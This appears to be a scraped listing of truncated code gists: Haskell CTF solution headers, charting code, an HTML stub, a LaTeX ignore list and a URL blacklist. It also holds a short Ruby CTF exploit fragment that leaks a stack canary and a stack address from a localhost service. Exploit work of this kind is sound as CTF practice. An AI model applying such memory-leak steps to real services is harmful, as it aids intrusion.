This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
let blacklists = ["https://inbox.google.com/*","https://tweetdeck.twitter.com/*","https://*.slack.com/*","http://0.0.0.0/*","http://[::]/*"] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{-# LANGUAGE OverloadedStrings #-} | |
-- ASIS CTF Quals 2018: FCascasde | |
import Control.Monad | |
import Control.Monad.IO.Class (liftIO) | |
import Data.Bits | |
import qualified Data.ByteString.Char8 as BS | |
import Data.Maybe | |
import Data.Monoid ((<>)) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{-# LANGUAGE OverloadedStrings #-} | |
-- ASIS CTF Quals 2018: Cat | |
import Control.Monad | |
import Control.Monad.IO.Class (liftIO) | |
import Data.Bits | |
import qualified Data.ByteString.Char8 as BS | |
import Data.Maybe | |
import Data.Monoid ((<>)) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{-# LANGUAGE OverloadedStrings #-} | |
-- CSAW CTF Qualification Round 2012: 聊天 | |
-- http://shell-storm.org/repo/CTF/CSAW-2012/Exploitation/300/ | |
import Control.Monad | |
import Data.Bits | |
import qualified Data.ByteString.Char8 as BS | |
import Data.Maybe | |
import Data.Monoid ((<>)) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<head> | |
<meta charset="utf-8" /> | |
<meta name="viewport" content="width=device-width" /> | |
<title>にゃーん</title> | |
</head> | |
<body> | |
<p id="message-box"></p> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
body.aux | |
body.bbl | |
body.bcf | |
body.blg | |
body.dvi | |
body.fdb_latexmk | |
body.fls | |
body.log | |
body.out | |
body.pdf |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{-# LANGUAGE FlexibleContexts #-} | |
module Main where | |
import Control.Monad (replicateM) | |
import Graphics.Rendering.Chart.Backend.Cairo | |
import Graphics.Rendering.Chart.Easy hiding ((<.>)) | |
import Graphics.Rendering.Chart.Gtk | |
import Numeric.GSL.Minimization | |
import Numeric.LinearAlgebra |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
module Main where | |
import Control.Monad (replicateM) | |
import Graphics.Rendering.Chart.Backend.Cairo | |
import Graphics.Rendering.Chart.Easy | |
import Graphics.Rendering.Chart.Gtk | |
import Numeric.LinearAlgebra | |
import System.Random | |
instance (Random x, Random y) => Random (x, y) where |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'pwn' | |
z = Sock.new '127.0.0.1', 31338 | |
z.send 'A' * 0x19 | |
z.recv 0x18 | |
canary = u64(z.recv 8) & (~0xff) | |
log.info "canary: #{canary.hex}" | |
z.recv | |
z.send 'A' * 0x40 | |
z.recv 0x40 | |
stack = u64((z.recv 6) + '\x00\x00') & 0x00ffffffffffff |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env stack | |
-- stack --stack-yaml ./stack.yaml runghc | |
-- SIGINT CTF 2013: baremetal | |
-- http://shell-storm.org/repo/CTF/SIGINT-2013/pwning/baremetal-100/ | |
{-# LANGUAGE OverloadedStrings #-} | |
import Control.Concurrent (threadDelay) | |
import Control.Monad |